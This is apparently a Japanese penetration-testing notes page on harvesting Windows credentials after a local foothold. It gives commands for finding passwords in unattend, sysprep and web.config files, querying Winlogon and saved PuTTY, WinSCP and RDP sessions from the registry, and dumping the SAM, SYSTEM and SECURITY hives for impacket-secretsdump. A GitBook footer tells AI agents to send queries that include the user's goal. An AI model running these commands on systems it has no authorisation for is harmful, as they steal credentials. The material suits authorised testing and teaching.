> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md).

# Windowsファイル内の資格情報

展開、応答、設定ファイルに保存されたWindowsの資格情報を検索する。

Windows システムでは、展開ファイル、応答ファイル、または構成ファイルに資格情報が残されている場合があります。これらのファイルは、限定的なローカル足がかりを得た後に特に価値があります。

## 確認するファイル

```
C:/Windows/Panther/unattend.xml
C:/Windows/Panther/Autounattend.xml
C:/Windows/System32/Sysprep/sysprep.inf
C:/Windows/System32/Sysprep/sysprep.xml
C:/inetpub/wwwroot/web.config
C:/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
```

パスワードが平文で保存されている場合、再利用できる可能性があります。もし `平文` 属性が `偽`ある場合は、その値をエンコード済みまたは暗号化済みとして扱い、別途分析します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f71708f4e7243b16d9926ad5e97df8ae865bf500%2Fimage%20(2922).png?alt=media" alt="Windows deployment file containing credential material"><figcaption></figcaption></figure>

## 重要ポイント

* ローカル列挙の早い段階で Windows の展開ファイルを確認します。
* 見つかったパスワードが平文、エンコード済み、暗号化済み、または古いものかを確認します。
* インストール後は応答ファイルを削除し、展開成果物に永続的なシークレットを残さないことで対処します。

## 役立つ検索

まずは予測可能な場所を検索し、ホストが十分小さい場合に範囲を広げます。

```cmd
dir /s /b C:\*unattend* C:\*sysprep* C:\*web.config* 2>nul
findstr /si /m "password passwd pwd username user= connectionString" C:\Users\*.txt C:\Users\*.ini C:\Users\*.config 2>nul
```

```powershell
Get-ChildItem C:\Users -Recurse -Force -Include *.txt,*.ini,*.config,*.xml,*.kdbx -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|connectionString|apikey|secret'
```

## レジストリと保存済みセッション

アプリケーションがプロファイル、最近接続したホスト、または古い資格情報を保存している場合、レジストリの確認は有用です。

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
cmdkey /list
```

## オフラインのハッシュソース

もし次のような権限がある場合は `SeBackupPrivilege` またはローカル管理者アクセスがある場合は、ロックされたファイルを直接読む代わりに、ハイブをエクスポートしてオフラインで分析します。

```cmd
reg save HKLM\SAM C:\Temp\sam.save
reg save HKLM\SYSTEM C:\Temp\system.save
reg save HKLM\SECURITY C:\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## 自動化ヘルパー

ツールを使って手作業の検索では見逃すものを拾い上げますが、実際に使う前に出力を手動で確認してください。

```powershell
.\winPEASx64.exe quiet cmd fast
.\PrivescCheck.ps1
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
